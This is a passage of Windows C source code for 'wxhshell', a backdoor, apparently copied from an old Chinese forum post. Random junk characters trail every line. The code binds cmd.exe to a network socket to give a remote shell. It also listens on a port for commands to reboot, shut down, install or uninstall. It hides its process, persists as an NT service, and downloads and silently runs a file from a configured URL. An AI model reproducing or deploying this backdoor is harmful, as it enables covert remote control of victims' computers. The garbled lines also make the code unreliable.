      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X28WQdP,7  
    break; :S2MS{>Mo  
  } eT?LMBn\  
  // 安装 +t6m>IBu  
  case 'i': { 7K4%`O  
    if(Install()) ,g.=vQm:?  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); h2snGN/{Hb  
    else k9?+9bExXA  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 40ZB;j$l  
    break; sP8B?Tn1W  
    } j+_75t`AZ  
  // 卸载 Un+Jz ?Y  
  case 'r': { r4zS,J;,  
    if(Uninstall()) GT0'bge  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 351'l7F\  
    else ?Fw/c0  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }_TdXY #w\  
    break; 8h 2?Q  
    } .;s4T?j@w  
  // 显示 wxhshell 所在路径 14zzWzKx  
  case 'p': { ShxX[k  
    char svExeFile[MAX_PATH]; IA!Kp g W  
    strcpy(svExeFile,"\n\r"); EeJ] > 1  
      strcat(svExeFile,ExeFile); ,iy   
        send(wsh,svExeFile,strlen(svExeFile),0); k$/].P*!  
    break; dy'?@Lj;  
    } b@Cvs4  
  // 重启 8tk`1E8!j  
  case 'b': { i>}z$'X  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); )I9(WVx!]  
    if(Boot(REBOOT)) sP!qv"u  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $r_gFv  
    else { g#*N@83C  
    closesocket(wsh); aKO@_R,:  
    ExitThread(0); f{oWd]eAhb  
    } 9NAlgET  
    break; XjNu|H/  
    } l{g( z !  
  // 关机 >kT~X ,o  
  case 'd': { c i>=45@J  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); >Fh@:M7z  
    if(Boot(SHUTDOWN)) '@P[fSQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ckp=d  
    else { @YELqUb*  
    closesocket(wsh); UQ?8dw:E~  
    ExitThread(0); ?HTwTi 5!)  
    } /|f]L9)2<  
    break; ualtIHXK)  
    } biD7(AK  
  // 获取shell f ;JSP  
  case 's': { 4vphLAm  
    CmdShell(wsh); 4{pa`o3  
    closesocket(wsh); wr(?L7 $+  
    ExitThread(0); lB-7.  
    break; n66 _#X  
  } =G :H)i  
  // 退出 T~Cd=s(T"  
  case 'x': { ' r/1+.  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); WDq3K/7\  
    CloseIt(wsh); -M}iDBJx>#  
    break; e ^QOn  
    } 25r=Xv  
  // 离开 T rW3@@}j  
  case 'q': { R >TtAm0N  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); @UX`9]-P  
    closesocket(wsh); HN+z7Q8hH  
    WSACleanup(); U@WT;:.T  
    exit(1); i^(<E0vS  
    break; oZCO$a  
        } (XQG"G%U6W  
  } Qd&j~cG@  
  } so*7LM?ib>  
'(}BfDP  
  // 提示信息 VTU-'q  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Rx.0P6s  
} nYHk~<a  
  } =v8q  
t!tBN  
  return; ;uy/Vc5,Y  
} t$J-6dW  
<G={V fr  
// shell模块句柄  ar yr  
int CmdShell(SOCKET sock) (;N_lF0  
{ H{8\<E:V+}  
STARTUPINFO si; X9J^Olq  
ZeroMemory(&si,sizeof(si)); 9TLP(  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?a% u=G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]So%/rOvX  
PROCESS_INFORMATION ProcessInfo; Qa=;Elp:[  
char cmdline[]="cmd"; })Jp5vv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _]g6 3q  
  return 0; :n=+$Dq  
} UZ$p wjC  
-9mh|&z`  
// 自身启动模式 BshS@"8r  
int StartFromService(void) XcXd7e  
{ 8Vx'sJ>r4  
typedef struct .dV!du  
{  6O}r4*  
  DWORD ExitStatus; c72/e7gV  
  DWORD PebBaseAddress; P&K~wP]  
  DWORD AffinityMask; Rs dACP   
  DWORD BasePriority; b3ZPlLx6  
  ULONG UniqueProcessId; oKUJB.PF  
  ULONG InheritedFromUniqueProcessId; P7 n~Ui~U  
}   PROCESS_BASIC_INFORMATION; ]Q+Tm2{  
<_5z^@N3$  
PROCNTQSIP NtQueryInformationProcess; ?AEpg.9R-  
^t"\PpmK<d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <m!\Ma  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @m6E*2Gg  
+.=a R<Q  
  HANDLE             hProcess; \*7Tj-#  
  PROCESS_BASIC_INFORMATION pbi; `k+k&t  
y(HR1v Q;Z  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); e>[QF+e)y  
  if(NULL == hInst ) return 0; %}@^[E)  
&\A$Rj)  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); F[lHG,g-  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); x|Dj   
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); |cH\w"DcXw  
T SOt$7-  
  if (!NtQueryInformationProcess) return 0; 7Y-GbG.'  
F~m tE8B:  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); wXP1tM8T  
  if(!hProcess) return 0; J;qHw[6  
0F"xU1z,  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MDRSI g  
z~F!zigNAc  
  CloseHandle(hProcess); yuND0,e  
3E#acnqn*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (g 8K?Q  
if(hProcess==NULL) return 0; ?/;<32cE,  
T"$"`A"  
HMODULE hMod; n[<Vj1n  
char procName[255]; {d) +a$qj  
unsigned long cbNeeded; {2,V3*NF  
LWY`J0/  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); MSA*XDnN  
M/BBNT  
  CloseHandle(hProcess); O!a5  
bz@4obRqf  
if(strstr(procName,"services")) return 1; // 以服务启动 %9IM|\ulp  
:U~[%]  
  return 0; // 注册表启动 {pVD`#Tl[  
}  `=oN&!  
R{.ku!w  
// 主模块 r8mE   
int StartWxhshell(LPSTR lpCmdLine) DY1o!thz)  
{ bygwoZ<E  
  SOCKET wsl; "UE'd Wz  
BOOL val=TRUE; UXd\Q''  
  int port=0; WHU& 9N  
  struct sockaddr_in door; .; :[sv)  
)%*uMuF  
  if(wscfg.ws_autoins) Install(); IE3GM^7\  
^CX~>j\(  
port=atoi(lpCmdLine); J=() A+  
&AW?!rH  
if(port<=0) port=wscfg.ws_port; `jP6;i  
DJeG  
  WSADATA data; b.$Gc!g  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; =!7yX ;|  
K%S k{'  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Zf|f $1-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); xD1w#FMlQs  
  door.sin_family = AF_INET; bY#>   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); ^NP" m  
  door.sin_port = htons(port); ^Xh9:OBF  
hd\iW7  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \i{=%[c  
closesocket(wsl); E_FseR6  
return 1; TN&1C8xr  
} *NDzU%X8  
^58'*13ZL  
  if(listen(wsl,2) == INVALID_SOCKET) { .Emw;+>  
closesocket(wsl); )5hS;u&b  
return 1; @}#$<6|  
} m|'TPy  
  Wxhshell(wsl); t0/fF'GZD  
  WSACleanup(); d"$ \fL  
R:11w#m7w  
return 0; * ,,D%L  
2&dtOyxo>  
} JI(8{ f  
/+%1Kq.hP  
// 以NT服务方式启动 Kg9REL@,s  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LTrn$k3}  
{ O0wD"V^W  
DWORD   status = 0; }nu hLt1  
  DWORD   specificError = 0xfffffff; \07 s'W U  
P*G&pitT  
  serviceStatus.dwServiceType     = SERVICE_WIN32; k pEES{f  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >pr{)bp G  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; xEGI'lt  
  serviceStatus.dwWin32ExitCode     = 0; w+ bMDp  
  serviceStatus.dwServiceSpecificExitCode = 0; ]kR 93  
  serviceStatus.dwCheckPoint       = 0; U1dz:OG>  
  serviceStatus.dwWaitHint       = 0; ,_p_p^Ar\4  
aiea& aJ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); zf#V89!]C"  
  if (hServiceStatusHandle==0) return; j&ddpS(s  
4u A ;--j  
status = GetLastError(); ?mnwD]u  
  if (status!=NO_ERROR) $KKrl  
{ \#  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?$9C[Kw`  
    serviceStatus.dwCheckPoint       = 0; co#%~KqMu  
    serviceStatus.dwWaitHint       = 0; T5o9pm D  
    serviceStatus.dwWin32ExitCode     = status; R|`}z"4C  
    serviceStatus.dwServiceSpecificExitCode = specificError; s\_ ,aI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @r'8<6hVO  
    return; gZ:)l@ Wu  
  } .BuY[,I+  
db4Ol=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; L Ktr>u  
  serviceStatus.dwCheckPoint       = 0; pz~AsF  
  serviceStatus.dwWaitHint       = 0; UEt #;e  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 8&B{bS  
} sJ25<2/  
9w(QM-u  
// 处理NT服务事件,比如:启动、停止 &H<-joZ)Z\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ewD61Y8-  
{ "C%;9_ig$  
switch(fdwControl) o^2.&e+dQ  
{ %/jm Q6z^  
case SERVICE_CONTROL_STOP: (yn!~El3  
  serviceStatus.dwWin32ExitCode = 0; L3'o2@$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 5Y JLR;  
  serviceStatus.dwCheckPoint   = 0; 5Tkh6s  
  serviceStatus.dwWaitHint     = 0; =]E;wWC  
  { j?#S M!f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e$fxC-sZ  
  } c(i-~_  
  return; s9zdg"c'  
case SERVICE_CONTROL_PAUSE: 0O|T\E8 e  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; I"y=A7Nq  
  break; OiZPL"Q(K  
case SERVICE_CONTROL_CONTINUE: -(@dMY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; "EDn;l-Q  
  break; &K|<7Efx  
case SERVICE_CONTROL_INTERROGATE: oe# :EfT  
  break; 8 }nA8J  
}; }r9f}yX9Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); fo^M`a!va0  
} _ z#zF[%  
ySL 31%  
// 标准应用程序主函数 7{2knm^  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) +3!um  
{ xLPyV&j-  
4L(axjMYU  
// 获取操作系统版本 O\-cLI<h2  
OsIsNt=GetOsVer(); 48Z{wV,  
GetModuleFileName(NULL,ExeFile,MAX_PATH); W1iKn  
IX,/ZOZ|  
  // 从命令行安装 <$K%u?  
  if(strpbrk(lpCmdLine,"iI")) Install(); zH.DyD5T;  
1Hp0,R}  
  // 下载执行文件 <{JHFU`^  
if(wscfg.ws_downexe) { 1ki##v[ W8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 8J7 xs6@  
  WinExec(wscfg.ws_filenam,SW_HIDE); ]@)X3}"!  
} W:ih#YW_F  
%DbL|;z1  
if(!OsIsNt) { y!h$Z6.  
// 如果时win9x,隐藏进程并且设置为注册表启动 g < M\zD  
HideProc(); OIe {Sx{y  
StartWxhshell(lpCmdLine); 8yF15['  
} .TSj8,  
else t=d~\_Oa  
  if(StartFromService()) >| rID  
  // 以服务方式启动 _A;jtS)SY  
  StartServiceCtrlDispatcher(DispatchTable); l%oie1g l  
else ]Jq1b210  
  // 普通方式启动 y9?BvPp+  
  StartWxhshell(lpCmdLine); o5-oQ_ j  
7AX<>^  
return 0; /xWkP{  
}
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只看该作者 1 发表于: 2006-10-10
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